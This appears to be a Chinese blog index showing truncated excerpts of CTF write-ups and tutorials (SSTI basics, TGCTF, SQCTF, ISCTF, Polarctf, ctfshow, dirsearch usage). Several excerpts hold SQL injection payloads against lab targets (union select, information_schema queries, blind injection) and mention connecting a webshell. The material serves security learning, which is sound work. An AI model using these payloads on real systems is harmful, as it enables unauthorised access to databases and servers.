web入门-ssti
一.知识点1.模板引擎 模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。 模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。 简单来说就是模板提供位置,用户提供数据 2.SSTISSTI 就是服务器端模板注入(Server-Side Template Injection) 当前使用的一些框架,比如python的flask,php的thinkphp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。 漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web...
TGCTF-WP
WEB火眼辩魑魅robots.txt找到几个文件,但是只有tgshell.php是可用文件,直接蚁剑连马找到flag TGCTF{0f65fdf9-a7f6-f15b-43ff-8bca87267f2b} TG_wordpress在网上搜wordpress漏洞,运气好,翻文章试了一下编号,对了 TGCTF{CVE-2020-25213} 什么文件上传?先看robots.txt,找到class.php,源码如下 <?php highlight_file(__FILE__); error_reporting(0); function best64_decode($str) { return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str))))); } class yesterday { public $learn; public...
常见工具使用
WEBdirsearch(目录扫描) 用于扫描网站下的目录或文件,原理就是通过字典在url后添加目录然后发包看响应,如果响应为200就说明有这个目录或文件 基本用法 python dirsearch.py -u http://xxx 注意 如果扫描中发现有/.git为403响应,可以尝试使用git_extract去提取文件,举例ctfshow-web-红包题第七弹 安装教程 命令 命令选项 参数/说明 示例 基本命令 -u URL 指定目标URL -u http://example.com -l FILE 从文件读取多个目标URL -l urls.txt 扫描配置 -e EXTENSIONS 指定文件扩展名(逗号分隔) -e php,html,txt -w WORDLIST 使用自定义字典文件(默认内置字典在db/目录) -w /path/to/wordlist.txt -t THREADS 设置线程数(默认25) -t...
SQCTF-WP
虽然都是简单题,但是也是第一次ak web欸,高兴 WEBezGameobj.score = 2048; obj.getFlag(); sqctf{8c2b0a296da74b82acf2fd235ac283e0} My Blog sqctf{93bd885c5cdd4d5a81aaf8004ed2d793} baby...
ISCTF-WP
20231z_Ssql(sql注入)username=1' or 1=1# //illegal words!username=1'# //用户名或密码错误username=-1' or 1 order by 3# //回显You are so smart! Let me give you a hint ↓ 5aSn5L2s77yM5L2g6L+Z5LmI6IGq5piO5bqU6K+l5LiN6ZyA6KaBaGludOWQpz8=,但是没用,说明等号被过滤了username=-1' or 1 order by 4# //用户名或密码错误username=-1' union select 1,2,3# //illegal words!username=union //illegal words!,尝试后双写和大写都不能绕过username=select //用户名或密码错误尝试布尔盲注username=0' or if(substr(database(),1,1)=c,true,false) ...
Polarctf靶场
简单swp(php特性)扫目录就能找到/.index.php.swp,访问得到源码 function jiuzhe($xdmtql){ return preg_match('/sys.*nb/is', $xdmtql);}$xdmtql = @$_POST['xdmtql'];if (!is_array($xdmtql)) { if (!jiuzhe($xdmtql)) { if (strpos($xdmtql, 'sys nb') !== false) { echo 'flag{*******}'; } else { echo 'true .swp file?'; } } else { echo...
Polarctf-wp
2025春季挑战赛CRYPTObeginnerfrom Crypto.Util.number import long_to_bytes# 给定的结尾数值suffix = 16732186163543403522711798960598469149029861032300263763941636254755451456334507142958574415880945599253440468447483752611840# 验证suffix是否是2^125的倍数bits_125 = 1 << 125if suffix % bits_125 != 0: raise ValueError("Suffix is not divisible by 2^125, no solution exists.")# 计算S' = suffix / 2^125s_prime = suffix // bits_125# 计算模数5^125mod_5_125 = 5 ** 125# 计算2^9875在模5^125下的逆元inv_2_9875 = pow(2,...
ctfshow-萌新-web
知识点在之前都学到了,现在就只是做题和补充 web1(php特性)<?php# 包含数据库连接文件include("config.php");# 判断get提交的参数id是否存在if(isset($_GET['id'])){ $id = $_GET['id']; # 判断id的值是否大于999 if(intval($id) > 999){ # id 大于 999 直接退出并返回错误 die("id error"); }else{ # id 小于 999 拼接sql语句 $sql = "select * from article where id = $id order by id limit 1 "; echo "执行的sql为:$sql<br>"; # 执行sql 语句 ...
ctfshow-web
web签到题(源码泄露)源码泄露,注释base64解码 web2(sql注入)简单sql注入,post传参username和password password=1&username=1' or 1=1# //回显欢迎你,ctfshowpassword=1&username=-1' or 1=1 order by 4# //无回显password=1&username=-1' or 1=1 order by 3# //回显欢迎你,ctfshowpassword=1&username=-1' union select 1,2,3# //回显2password=1&username=-1' union select 1,database(),3# //回显web2password=1&username=-1' union select 1,(select group_concat(table_name) from information_schema.tables...